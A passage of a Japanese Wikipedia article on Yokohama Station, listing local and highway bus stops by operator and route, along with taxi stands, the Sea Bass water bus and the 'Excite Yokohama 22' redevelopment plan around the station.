{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!1
|rowspan="6" style="text-align:center;"|横浜市営バス
|{{Unbulleted list|[[横浜市営バス浅間町営業所#36系統|'''36''']]:[[横浜市営バス緑営業所|緑車庫]] / 菅田町|[[横浜市営バス浅間町営業所#82系統|'''82''']]:八反橋 / 神大寺入口}}
|
|-
!2
|{{Unbulleted list|[[横浜市営バス港北営業所#38系統|'''38''']]:[[鶴見駅]]西口|[[横浜市営バス緑営業所#39・373系統|'''39''']]:[[中山駅 (神奈川県)|中山駅]] / 緑車庫|[[横浜市営バス浅間町営業所#59系統|'''59''']]:[[新綱島駅]]}}
|「59」は最終便のみ大豆戸交差点止まり
|-
!3
|{{Unbulleted list|[[横浜市営バス浅間町営業所#35・50・346系統|'''35'''・'''50''']]:(循環)横浜駅西口|'''50''':神大寺入口}}
|
|-
!4
|[[横浜市営バス保土ケ谷営業所#25・358系統|'''25''']]:[[保土ケ谷駅]]西口
|
|-
!5
|[[横浜市営バス保土ケ谷営業所#31系統|'''31''']]:[[大口駅]]
|
|-
!6
|[[横浜市営バス浅間町営業所#34系統|'''34''']]・[[横浜市営バス浅間町営業所#87系統|'''87''']]:(循環)横浜駅西口
|
|-
!7
|rowspan="4" style="text-align:center;"|[[相鉄バス]]
|{{Unbulleted list|[[相鉄バス#浜44系統|'''浜44''']]:(循環)横浜駅西口 / [[相鉄バス#現行営業所|横浜車庫]]|[[相鉄バス#浜83系統|'''浜83''']]:上菅田東部公園}}
|
|-
!8
|{{Unbulleted list|[[相鉄バス#浜1系統|'''浜1''']]:[[新横浜駅]] / [[小机駅]] / 西菅田団地|[[相鉄バス#浜7系統|'''浜7''']]:横浜車庫|[[相鉄バス#浜13系統|'''浜13''']]:[[上星川駅]]}}
|
|-
!9
|[[相鉄バス#浜11系統|'''浜11''']]:[[上星川駅]] / 釜台住宅第3
|
|-
!10
|[[相鉄バス#浜5系統|'''浜5''']]・[[相鉄バス#浜10系統|'''浜10''']]:(循環)横浜駅西口
|「浜5」は、土曜休日のみ第2ターミナル着。また、一部は途中の洪福寺止まり
|-
!11
|style="text-align:center;"|横浜市営バス
|{{Unbulleted list|[[横浜市営バス浅間町営業所#201・202・204系統|'''202''']]・[[横浜市営バス浅間町営業所#208・209系統|'''208''']]:(循環)横浜駅西口|'''204''':[[横浜市営バス浅間町営業所|浅間町車庫]]|[[横浜市営バス保土ケ谷営業所#207系統|'''207''']]:[[横浜市営バス保土ケ谷営業所|保土ケ谷車庫]]}}
|
|-
!12
|style="text-align:center;"|神奈川中央交通
|[[神奈川中央交通中山営業所#横浜駅西口 - 千丸台団地方面|'''62(急行)''']]:千丸台団地 / 千丸台集会所
|
|-
!rowspan="2"|13
|style="text-align:center;"|神奈川中央交通
|{{Unbulleted list|[[神奈川中央交通中山営業所#横浜駅西口 - 梅の木 - 中山駅方面|'''1'''・'''横51''']]・[[神奈川中央交通中山営業所#横浜駅西口 - 梅の木 - 中山駅方面|'''横52''']]:中山駅|'''5''':[[横浜若葉台団地|若葉台中央]]}}
|
|-
|style="text-align:center;"|神奈川中央交通東
|[[神奈川中央交通東・大和営業所#鶴間駅 - 鶴ヶ峰駅 - 横浜駅方面|'''横04''']]:[[鶴間駅]]東口
|
|-
!14
|style="text-align:center;"|横浜市営バス
|{{Unbulleted list|[[横浜市営バス緑営業所#92系統|'''92(急行)''']]:笹山団地中央|[[横浜市営バス浅間町営業所#201・202・204系統|'''201''']]:(循環)横浜駅西口|[[横浜市営バス浅間町営業所#329系統|'''329''']]:(循環・急行)横浜駅西口 /(急行)[[横浜国立大学|国大西]]}}
|
|-
!15
|colspan="3"|(降車専用)
|-
!rowspan="4"|臨時路線
|rowspan="2" style="text-align:center;"|横浜市営バス
|[[横浜市営バス#37系統|'''37''']]:(直行)三ツ沢グランド前
|ニッパツ三ツ沢球技場で試合がある時のみ運行
|-
|{{Unbulleted list|[[横浜市営バス#150系統|'''150A''']]:(直行)横浜国立大学正門前|'''150B''':(直行)国大西}}
|横浜国立大学のオープンキャンパスや入学試験がある時のみ運行
|-
|rowspan="2" style="text-align:center;"|相鉄バス
|[[相鉄バス#臨時便・契約輸送|'''臨浜7''']]:横浜車庫
|ニッパツ三ツ沢球技場で試合がある時のみ臨時便を増発
|-
|'''臨浜10''':(直行)横浜国立大学正門前
|横浜国立大学のオープンキャンパスや入学試験がある時のみ運行
|}
===== 第2バスのりば =====
横浜ベイシェラトン ホテル&タワーズの西側にある。
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!21
|style="text-align:center;"|神奈川中央交通
|{{Unbulleted list|[[神奈川中央交通舞岡営業所#東戸塚駅東口 - 保土ケ谷駅 - 横浜駅方面|'''横17''']]:[[東戸塚駅]]東口|[[神奈川中央交通舞岡営業所#戸塚駅東口 - 狩場町 - 保土ケ谷駅方面|'''横46''']]:[[戸塚駅]]東口}}
|
|-
!rowspan="7"|22
|style="text-align:center;"|横浜市営バス
|[[横浜市営バス緑営業所#39・373系統|'''深夜''']]:[[中山駅 (神奈川県)|中山駅]]
|
|-
|style="text-align:center;"|相鉄バス
|[[相鉄バス#深夜急行バス|'''深夜急行''']]:[[海老名駅]]<ref group="注">2023年10月現在運休中</ref>
|
|-
|style="text-align:center;"|{{Unbulleted list|相鉄バス|[[フジエクスプレス]]}}
|{{Unbulleted list|'''[[レイクライナー]]''':[[河口湖駅]]|'''さがみ湖イルミリオン線''':[[さがみ湖リゾート プレジャーフォレスト]]}}
|{{Unbulleted list|「レイクライナー」は富士山五合目夏季の登山シーズンの特定日に1往復延長運転|「さがみ湖イルミリオン線」は季節運行}}
|-
|style="text-align:center;"|{{Unbulleted list|相鉄バス|[[東急バス]]|[[上田バス]]}}
|'''横浜 - 軽井沢・草津温泉線''':[[草津温泉]]
|
|-
|style="text-align:center;"|{{Unbulleted list|[[東北急行バス]]|[[近鉄バス]]}}
|[[フライングライナー号|'''フライングライナー号'''・'''フライングスニーカー号''']]:[[天王寺駅・大阪阿部野橋駅バスのりば|大阪阿部野橋駅]]
|
|-
|style="text-align:center;"|{{Unbulleted list|[[四国高速バス]]|西東京バス}}
|[[西東京バス#高松線|'''ハローブリッジ号''']]:[[丸亀駅]]
|
|-
|style="text-align:center;"|{{Unbulleted list|[[伊予鉄バス]]|西東京バス}}
|[[西東京バス#松山線|'''オレンジライナーえひめ号''']]:[[八幡浜駅]]
|
|-
!23
|colspan="3"|(降車専用)
|}
===== 第3バスのりば =====
ヨドバシカメラと横浜ベイシェラトン ホテル&タワーズの間の、天理ビル前にある。
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!rowspan="2"|31
|style="text-align:center;"|横浜市営バス
|{{Unbulleted list|[[横浜市営バス保土ケ谷営業所#53系統(児童遊園地線)|'''53''']]:平和台折返場|[[横浜市営バス滝頭営業所#68・102・378系統|'''68''']]:[[横浜市営バス滝頭営業所|滝頭]]}}
|
|-
|style="text-align:center;"|相鉄バス
|{{Unbulleted list|[[相鉄バス#旭4・旭5系統|'''旭4''']]:美立橋|[[相鉄バス#浜5系統|'''浜5''']]:洪福寺|[[相鉄バス#浜11系統|'''浜11''']]:[[上星川駅]]}}
|「浜5」と「浜11」は深夜バスのみ<ref group="注">2023年10月現在浜5のみ運休中</ref>
|-
!rowspan="2"|32
|style="text-align:center;"|横浜市営バス
|[[横浜市営バス浅間町営業所#291系統|'''291''']]:[[大口駅]]
|
|-
|style="text-align:center;"|相鉄バス
|{{Unbulleted list|[[相鉄バス#浜4系統|'''浜4''']]:[[保土ケ谷駅]]東口|[[相鉄バス#浜16・浜19系統|'''浜16''']]:西原住宅|[[相鉄バス#旭9・旭10・旭11・旭12・旭13・旭14・旭15系統|'''旭10''']]:[[よこはま動物園ズーラシア|よこはま動物園]]}}
|
|}
==== 東口バスターミナル ====
横浜駅東口(現 横浜駅東口駅前広場)から、[[1974年]][[12月8日]]にスカイプールの前(現在の東口バスターミナルの国道1号側)に移転<ref>『スカイビルへの道 35年の歩み』 株式会社横浜スカイビル、1996年、147ページ</ref>。[[1981年]]11月に、現在地である横浜新都市ビル1階の横浜駅東口第二広場<ref group="注">なお第一広場は、横浜駅前バス停周辺。</ref>に移転。[[横浜新都市ビル]](そごう)1階に'''横浜駅前(横浜駅・横浜駅東口)'''ターミナルがあり、主に沿岸部へ向かう路線が発着する。A島の南隣([[横浜スカイビル]]1階)には、空港リムジンバス・高速バス専用のYCATのりばが設置されている。[[定期観光バス]]「[[横浜市営バス#特殊な路線|ベイサイドライン]]」はこのターミナルを発着していた。
のりば入口は、地下1階および2階からA〜Cそれぞれの島につながる階段がある他、1階からはそごうの南エレベータとA島、店内からC島に入れる。地上の一般歩道から直接入るのは不可。ターミナル内で平面移動できる通路も設置されていない。
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!1
|rowspan="7" style="text-align:center;"|[[横浜市営バス]]
|{{Unbulleted list|[[横浜市営バス浅間町営業所#26系統|'''26''']]:[[横浜市営バス本牧営業所|本牧車庫]] / [[横浜港シンボルタワー]] / [[本牧海づり施設|海づり桟橋]] / 港湾カレッジ前 / 本牧ポートハイツ前 / 本牧TOC|[[横浜市営バス浅間町営業所#89系統(ぶらり野毛山動物園BUS)|'''89(Nルート)''']]:一本松小学校|[[横浜市営バス滝頭営業所#123系統|'''123(急行)'''・'''233(急行)''']]:日産本牧専用埠頭}}
|
|-
!2
|{{Unbulleted list|[[横浜市営バス本牧営業所#8・168・363系統|'''8'''・'''168''']]:本牧車庫|[[横浜市営バス浅間町営業所#280系統(ぶらり三渓園BUS)|'''280(急行)''']]:三渓園}}
|
|-
!3
|[[横浜市営バス浅間町営業所#105系統|'''105''']]:本牧車庫
|
|-
!4
|{{Unbulleted list|[[横浜市営バス鶴見営業所#48系統|'''48''']]:[[コットンハーバー地区|コットンハーバー]] / [[東神奈川駅]]|[[横浜市営バス滝頭営業所#200系統(ベイサイドブルー)|'''200(BAYSIDE BLUE)''']]:[[山下ふ頭]]}}
|
|-
!5
|{{Unbulleted list|[[横浜市営バス滝頭営業所#9系統|'''9''']]・[[横浜市営バス浅間町営業所#68・102系統|'''102''']]:[[横浜市営バス滝頭営業所|滝頭]]|'''循環102''':横浜駅前}}
|
|-
!6
|colspan="2"|(降車専用)
|-
!7
|[[横浜市営バス本牧営業所#103系統|'''103''']]:根岸台 / 本牧車庫 / [[根岸駅 (神奈川県)|根岸駅]]
|
|-
!8
|style="text-align:center;"|[[京浜急行バス]]
|[[京浜急行バス杉田営業所#横浜線|'''110''']]:杉田平和町
|
|-
!9
|rowspan="3" style="text-align:center;"|[[神奈川中央交通]]
|[[神奈川中央交通舞岡営業所#戸塚駅東口 - 井土ヶ谷 - 横浜駅方面|'''横43'''・'''横44''']]:[[戸塚駅]]東口
|
|-
!10
|[[神奈川中央交通横浜営業所#港南台駅 - 上大岡駅 - 磯子駅・横浜駅方面|'''港61''']]:[[港南台駅]]
|
|-
!11
|[[神奈川中央交通舞岡営業所#横浜駅東口 - 保土ケ谷駅 - 芹が谷方面|'''77''']]:[[芹が谷]]
|
|-
!12・13
|colspan="3"|(降車専用)
|-
!14
|rowspan="2" style="text-align:center;"|横浜市営バス
|{{Unbulleted list|[[横浜市営バス本牧営業所#109系統|'''109(急行)''']]:[[横浜スカイウォーク|スカイウォーク]]前 / 横浜駅前|[[横浜市営バス滝頭営業所#109系統|'''109(特急)''']]:大黒税関正門前 / C3バース}}
|「109(特急)」はキャッシュレス決済のみ
|-
!15
|{{Unbulleted list|[[横浜市営バス鶴見営業所#7・29系統|'''7''']]:[[川崎駅]]西口|'''29''':[[鶴見駅]]東口|[[横浜市営バス鶴見営業所#86系統|'''86''']]:[[横浜市営バス鶴見営業所|生麦]]}}
|
|}
==== 横浜駅改札口前停留所 ====
東口地下街ポルタ入口そばにある。
* BAYSIDE BLUE:当停留所止まり
* [[桜木町駅]]・[[戸部駅]]方面から東口バスターミナル行の全路線:降車専用
=== 高速バス ===
西口・東口およびYCATから各地への高速バスが発着する。
==== 西口バスターミナル ====
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
{| class="wikitable" style="font-size:80%;"
!運行時間!!発着ターミナル!!運行事業者!!系統・行先!!備考
|-
|style="text-align:center;"|'''昼行便'''
|第2ターミナル
|style="text-align:center;"|{{Unbulleted list|[[相鉄バス]]|[[フジエクスプレス]]}}
|{{Unbulleted list|'''[[レイクライナー]]''':[[御殿場駅]]・[[富士急ハイランド]]・[[河口湖駅]]|[[さがみ湖リゾート プレジャーフォレスト]]}}
|{{Unbulleted list|「レイクライナー」は夏季の登山シーズンの特定日に1往復を[[富士山]]五合目まで延長運転|さがみ湖リゾート プレジャーフォレスト行は季節運行}}
|-
|rowspan="4" style="text-align:center;"|'''夜行便'''
|第1ターミナル
|style="text-align:center;"|[[羽後交通]]
|[[羽後交通#高速バス|'''レイク&ポート号''']]:[[横手バスターミナル|横手]]・大曲・[[角館]]・[[田沢湖駅]]方面
|
|-
|rowspan="3"|第2ターミナル
|style="text-align:center;"|{{Unbulleted list|[[東北急行バス]]|[[近鉄バス]]}}
|[[フライングライナー号|'''フライングライナー号'''・'''フライングスニーカー号''']]:京都駅・大阪駅・[[天王寺駅・大阪阿部野橋駅バスのりば|大阪阿部野橋駅]]方面
|
|-
|style="text-align:center;"|{{Unbulleted list|[[西東京バス]]|[[四国高速バス]]}}
|'''ハローブリッジ号''':[[高松駅 (香川県)|高松駅]]・[[丸亀駅]]方面
|
|-
|style="text-align:center;"|{{Unbulleted list|西東京バス|[[伊予鉄バス]]}}
|'''[[オレンジライナーえひめ号]]''':[[松山市駅]]・[[八幡浜駅]]方面
|
|}
==== YCATのりば ====
[[横浜スカイビル|スカイビル]]1階に所在する。
{{See|横浜シティ・エア・ターミナル}}
==== 東口バスターミナル ====
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
[[横浜新都市センター#横浜新都市ビル|横浜新都市ビル]]([[そごう横浜店]])1階に所在する。
{| class="wikitable" style="font-size:80%;"
!運行時間!!運行事業者!!系統・行先!!備考
|-
|rowspan="9" style="text-align:center;"|'''昼行便'''
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|[[川崎鶴見臨港バス]]}}
|[[浮島町 (川崎市)|浮島]]・小島地区(浮島町五番地・江川一丁目)方面
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|[[京成バス]]}}
|[[東京ディズニーリゾート]]
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|[[日東交通 (千葉県)|日東交通]]|[[小湊鉄道]]}}
|[[木更津金田バスターミナル]]・[[袖ケ浦バスターミナル]]・[[木更津駅]] / かずさアーク
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|小湊鉄道}}
|[[三井アウトレットパーク 木更津]] / [[市原バスターミナル|市原駐車場]]・[[五井駅]]・[[蘇我駅]] / [[市原鶴舞バスターミナル]]・[[長南町#高速バス|長南駐車場]]・[[茂原駅]]
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|日東交通}}
|[[君津バスターミナル]]・[[館山駅]]
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|[[小田急ハイウェイバス]]}}
|[[御殿場駅]]・[[桃源台駅|箱根桃源台]]
|
|-
|style="text-align:center;"|[[伊那バス]]
|'''[[ベイブリッジ号]]''':[[伊那市]]・[[駒ヶ根市]]・[[飯田市]]方面
|
|-
|style="text-align:center;"|[[西日本ジェイアールバス|西日本JRバス]]
|[[ハーバーライト号|'''横浜グラン昼特急大阪号''']]:[[深草バスストップ|京都深草]]・[[大阪駅周辺バスのりば#大阪駅JR高速バスターミナル|大阪駅]]方面
|
|-
|style="text-align:center;"|{{Unbulleted list|京浜急行バス|[[山梨交通]]}}
|勝沼・一宮・石和・山梨学院大学・[[甲府駅]]・[[竜王駅|竜王]]
|
|-
|rowspan="12" style="text-align:center;"|'''夜行便'''
|style="text-align:center;"|[[弘南バス]]
|'''[[ノクターン号|ニューノクターン号]]''':[[弘前バスターミナル]]・[[五所川原駅]]方面
|
|-
|style="text-align:center;"|[[岩手県北自動車]]
|[[ビーム・1|'''MEX盛岡・宮古号''']]:[[盛岡駅バスターミナル|盛岡駅]]・[[宮古駅]]・[[道の駅やまだ]]方面
|
|-
|style="text-align:center;"|JRバス東北
|[[仙台 - 首都圏線 (ジェイアールバス東北)|'''仙台⇔首都圏線(仙台・東京横浜号)''']]:[[長町駅]]・[[仙台駅のバス乗り場#仙台駅東口|仙台駅]]方面
|
|-
|style="text-align:center;"|[[三重交通]]
|'''[[いが号]]''':[[上野市駅]]・[[名張市|名張市役所]]方面
|
|-
|style="text-align:center;"|西日本JRバス
|{{Unbulleted list|[[ハーバーライト号|'''グランドリーム横浜号''']]:[[京都駅]]・大阪駅・[[ユニバーサル・スタジオ・ジャパン|USJ]]方面|[[ハーバーライト号|'''青春ドリーム号横浜号''']]:[[草津駅 (滋賀県)|草津駅]]・大阪駅・USJ方面}}
|
|-
|style="text-align:center;"|{{Unbulleted list|[[京成バス]]|[[阪急バス]]}}
|'''千葉・TDR・東京・横浜 - 大阪・神戸線''':[[大阪駅周辺バスのりば#阪急三番街高速バスターミナル(阪急バス)|大阪梅田]]・[[三宮駅バスのりば#三宮バスターミナル(ミント神戸1F)|神戸三宮]]方面
|
|-
|style="text-align:center;"|[[中国バス]]
|'''[[メイプルハーバー]]''':[[岡山インターチェンジ|岡山]]・[[倉敷インターチェンジ|倉敷]]・[[福山駅|福山]]・[[広島駅のバスのりば|広島]]方面
|
|-
|style="text-align:center;"|[[グレース観光|グレース観光バス]]
|'''グレースライナー''':名古屋方面 / 京都・大阪方面
|
|-
|style="text-align:center;"|[[平成エンタープライズ]]
|'''VIPライナー''':京都・大阪方面
|
|-
|style="text-align:center;"|[[サンシャインエクスプレス]]
|'''サンシャインエクスプレス''':京都・大阪方面
|
|-
|style="text-align:center;"|{{Unbulleted list|三栄交通|[[千葉みらい観光バス]]}}
|'''KBライナー''':南草津・京都・大阪方面 / [[岡山駅|岡山]]・[[倉敷駅|倉敷]]方面
|
|-
|style="text-align:center;"|[[桜交通]]
|'''キラキラ号''':[[長岡駅|長岡]]・[[燕三条駅|燕三条]]・[[新潟駅|新潟]]方面
|
|}
==== 横浜駅東口スカイビル(YCAT)前 ====
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
[[横浜スカイビル|スカイビル]]の外周道路に所在する({{Coord|35|27|50.8|N|139|37|29.8|E|region:JP|name=横浜駅東口スカイビル(YCAT)前 バス停留所}})。待機場所が狭いため、YCATの真上(スカイビル2階の屋外)が集合場所に指定されていることが多いので、注意が必要。
{| class="wikitable" style="font-size:80%;"
!運行事業者!!系統・行先!!備考
|-
|style="text-align:center;"|武井観光
|'''アミー号''':名古屋方面
|
|-
|style="text-align:center;"|桜交通
|'''キラキラ号''':[[仙台駅|仙台]]・[[石巻駅|石巻]]方面/京都・大阪方面
|
|-
|style="text-align:center;"|千葉みらい観光バス
|'''KBライナー''':大阪・[[姫路駅|姫路]]方面
|
|-
|style="text-align:center;"|[[ジャムジャムエクスプレス]]
|'''JAMJAMライナー''':神戸三宮・姫路方面 / なんば・[[和歌山駅|和歌山]]方面
|
|-
|style="text-align:center;"|[[杉崎観光バス]]
|'''杉崎高速バス''':[[名古屋駅|名古屋]]/[[姫路駅|姫路]]・岡山方面
|
|}
== タクシー乗り場 ==
=== 西口 ===
西口バスターミナル(横浜駅西口駅前広場<ref group="注">旧 横浜駅西口駅前第二交通広場。なお第一交通広場は、現在のみなみ西口(現在は相鉄ジョイナス・幸栄地区の一部)にあった。</ref>)の、高島屋側に設置されている。
=== 横浜駅東口タクシープラザ ===
正式名称は横浜駅東口駅前第2交通広場。横浜駅きた東口から横浜新都市ビルの間、国道1号線の地下にあるタクシー乗り場。
横浜市が設置・管理する交通広場であり、横浜新都市ビルの施設ではない。乗降場所は[[横浜ポルタ]]側にある。
[[File:Yokohama station West exit Taxi plaza.jpg|thumb|none|タクシープラザで待機するタクシー(右側が横浜ポルタ、奥が[[横浜新都市ビル]])]]
== 水上交通・航路 ==
* ポートサイド地区([[横浜ベイクォーター]]1F)
** [[ポートサービス|シーバス]]:[[横浜みなとみらい21|みなとみらい21]][[ぷかり桟橋]]・[[横浜赤レンガ倉庫|赤レンガ倉庫]]・[[山下公園]]([[ポートサービス]])
[[ファイル:Sea Bass stop (Yokohama Station east gate) 02.JPG|thumb|none|シーバス 横浜駅東口のりば]]
== エキサイトよこはま22(横浜駅周辺大改造計画){{Anchors|エキサイトよこはま22}} ==
<!--複数ページ(項目)より当節へのリンクあり(節名変更の際は要修正)-->
横浜駅周辺において、国際化や都市間競争への対応・環境問題・駅としての魅力向上・災害時の安全性確保などの課題を解消し、「[[国際都市]]の玄関口としてふさわしいまちづくり」を進めるための指針となる計画で、大規模ターミナル駅周辺の再生モデルとして、行政と民間が共有・協働して実現していくことを基本としている。開発プロジェクト名については[[2009年]]に一般公募され、2380件の名称案の中から「エキサイトよこはま22」に決まった<ref>[http://www.city.yokohama.lg.jp/toshi/tosai/daikaizou/kaigi/naming/ 「横浜駅周辺大改造計画」の名称決定!!! 名称「エキサイトよこはま22」](横浜市都市整備局 2010年3月8日作成、2015年3月4日閲覧{{smaller|([https://megalodon.jp/2015-0304-1641-18/www.city.yokohama.lg.jp/toshi/tosai/daikaizou/kaigi/naming/ 同日付のウェブ魚拓キャッシュ])}})</ref>。計画対象エリアの「'''横浜駅周辺地区'''」は、都心部の機能強化を目的として2014年度に策定された「横浜市都心臨海部再生マスタープラン」においてその対象となる都心臨海部五地区のうちの一つとなっている<ref name="yokohama-toshinmp">[http://www.city.yokohama.lg.jp/toshi/kikaku/toshinmp/ 横浜市都心臨海部再生マスタープラン](横浜市都市整備局 2014年3月20日作成、2015年2月23日更新、2015年3月4日閲覧{{smaller|([https://megalodon.jp/2015-0304-1642-47/www.city.yokohama.lg.jp/toshi/kikaku/toshinmp/ 同日付のウェブ魚拓キャッシュ])}}/[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshinmp/toshinmpsakutei.html 横浜市都心臨海部再生マスタープランを策定しました(平成27年2月)](横浜市都市整備局 2019年3月14日))</ref>。
=== 計画の概要など ===
横浜駅周辺では西口(幸栄)地区、[[横浜駅西口五番街|西口五番街]]地区、きた西口鶴屋地区、東口地区などが、「横浜都心・臨海地域」として[[特定都市再生緊急整備地域]]に指定されており<ref name="yokohama-toshiseibi-saisei">[http://www.city.yokohama.lg.jp/toshi/kikaku/toshisaisei/ 横浜市の都市再生(都市再生緊急整備地域)の取組について] > {{Cite web|和書|url=http://www.city.yokohama.lg.jp/toshi/kikaku/toshisaisei/pdf/toshin-rinkai.pdf |title=横浜都心・臨海地域 |publisher=横浜市都市整備局 |format=PDF |accessdate=2018-01-21}}</ref><ref name="yokohama-happyo120120">{{Cite press release|和書|url=http://www.city.yokohama.jp/ne/news/press/201201/images/phpKpj4GV.pdf |format=PDF |title=浜都心臨海部が「特定都市再生緊急整備地域」に指定されました! 〜ヨコハマは、「環境未来都市」・「国際戦略総合特区」とあわせて全国唯一のトリプル指定!!〜 |publisher=横浜市都市整備局 |date=2012-01-20 |accessdate=2018-01-21}}</ref><ref>{{Cite web|和書|url=https://www.chisou.go.jp/tiiki/toshisaisei/04toushi/ichiran.pdf |format=PDF |title=都市再生緊急整備地域及び特定都市再生緊急整備地域の一覧(平成25年 (2013年) 7月12日時点) |publisher=[[首相官邸]]地域活性化統合本部会合:[https://www.kantei.go.jp/jp/singi/tiiki/toshisaisei/ 都市再生] |page=2 |accessdate=2015-07-05}}</ref><ref name="p-yokohamatoshin170401">[https://www.kantei.go.jp/jp/singi/tiiki/toshisaisei/kinkyuseibi_list/ 都市再生緊急整備地域及び特定都市再生緊急整備地域の一覧] > {{Cite web|和書|url=https://www.kantei.go.jp/jp/singi/tiiki/toshisaisei/kinkyuseibi_list/pdf/19yokohama-toshin/p-yokohamatoshin.pdf |title=横浜都心・臨海地域のプロフィール(平成29年 (2017年) 4月1日現在) |publisher=[[内閣府]][[地方創生]]推進事務局 |format=PDF |accessdate=2018-01-21}}</ref>、今後[[都市再開発|再開発]]を行う計画となっている<ref name="p-yokohamatoshin170401"/><ref name="machidukuri">{{Cite web|和書|url=https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/22/ey22.html |title=エキサイトよこはま22 |publisher=横浜市都市整備局 |accessdate=2019-03-27}}</ref>。これらの地域において老朽化した建物を解体し、高層ビルなどによる横浜駅や駅周辺の一体再開発を目指す。当プロジェクトでは新たな枠組みとして再開発地区を5つのエリアに分けており、横浜駅を中心に西口周辺(五番街含む)および東口周辺の地区を合わせて「'''センターゾーン'''」とし、その周囲にある4つのエリアをそれぞれ「'''[[南幸 (横浜市)|南幸]]地区'''」、「'''[[北幸]]地区'''」、「'''[[鶴屋町 (横浜市)|鶴屋町]]地区'''」、「'''[[平沼 (横浜市)|平沼]]地区'''」としている<ref name="machidukuri" /><ref group="注">横浜駅周辺は西区であるが、鶴屋町地区のみ[[神奈川区]]となっている。</ref>。
建物の建て替えのみならず、現在は[[地下]]で結ばれている東口と西口方面を駅ホーム上空の2階部分で直線に結び(新たな[[ペデストリアンデッキ]]の整備)、駅前広場や待ち合わせ場所([[ターミナルコア]])の整備、中央通路と西口[[地下街]](旧称:[[ザ・ダイヤモンド]])の地下階層による接続(横浜駅西口改札跡地<ref>「神奈川新聞アーカイブズ [https://kanagawashimbun-archives.jp/kanaloco/photo/photoyokohamastation.html あの頃の横浜ステーション]」『カナロコ』 神奈川新聞社</ref> にある、通称"馬の背"の解消<ref name="hamarepo150422">{{Cite news |url=http://hamarepo.com/story.php?story_id=4051 |title=横浜駅西口からダイヤモンド地下街に行くまでに「階段を上ってまた下りる」無駄な動線になっているのはなぜ? |publisher=はまれぽ.com |date=2015-04-22 |accessdate=2018-01-23}}</ref>)、駅周辺の遊歩道整備([[東横フラワー緑道#関連する遊歩道整備計画|東横線廃線跡{{smaller|〈横浜駅〜桜木町駅間〉}}の遊歩道整備]]を含む)、東口地区と[[横浜みなとみらい21|みなとみらい地区]]の更なる接続強化(東口地区開発「ステーションオアシス」からの[[高島 (横浜市)#高島二丁目地区再開発事業|デッキレベルでの接続計画]]や[[栄本町線#栄本町線支線1号|出島地区における再開発]]を含む)、[[首都高速道路]]の[[緑のカーテン|壁面緑化]]、河川の有効活用や河川沿岸の整備(河川は[[治水]]対策をし、[[水上バス]]の運行やボードデッキを整備する)などを行い歩行者空間や交通の充実を図るというもので、[[横浜港]]開港150周年である2009年に計画がとりまとめられた。開発の期間を二期に分け、全体の完成は計画策定から20年後を目処にしている。
[[2010年]]1月に、「エキサイトよこはま22」の横浜市案による20年後の横浜駅周辺を表したイメージ映像が横浜市都市整備局のサイトなどで公開された。この映像は今後の計画検討の際などに利用される予定である。
* 参考:[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/ 横浜駅周辺地区・エキサイトよこはま22] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/22/ey22.html 計画の概要](横浜市都市整備局)<!--旧URL:http://www.city.yokohama.lg.jp/toshi/tosai/excite/-->
=== 関連する個別の開発計画 ===
==== センターゾーン ====
===== 西口周辺の再開発計画 =====
; 横浜駅西口駅ビル計画{{smaller|(仮称)}}<ref name="p-yokohamatoshin170401"/><ref>{{Cite web|和書|url=http://www.city.yokohama.lg.jp/kankyo/kisha/h23/images/111205-1-2.pdf |title=(仮称)横浜駅西口駅ビル計画 -事業計画の概要- |author=東日本旅客鉄道株式会社、東京急行電鉄株式会社 |publisher=横浜市 |format=PDF |accessdate=2015-07-05}}</ref>(駅前棟・鶴屋町棟)〈[[都市再生特別地区]]/駅前街区〉
[[File:Yokohama-station-NEWoMan-CIAL.jpg|thumb|280px|JR横浜タワー(2020年6月)]]
[[File:Yokohama-eki nishiguchi.jpg|thumb|280px|建設中のJR横浜タワー(2018年11月)]]
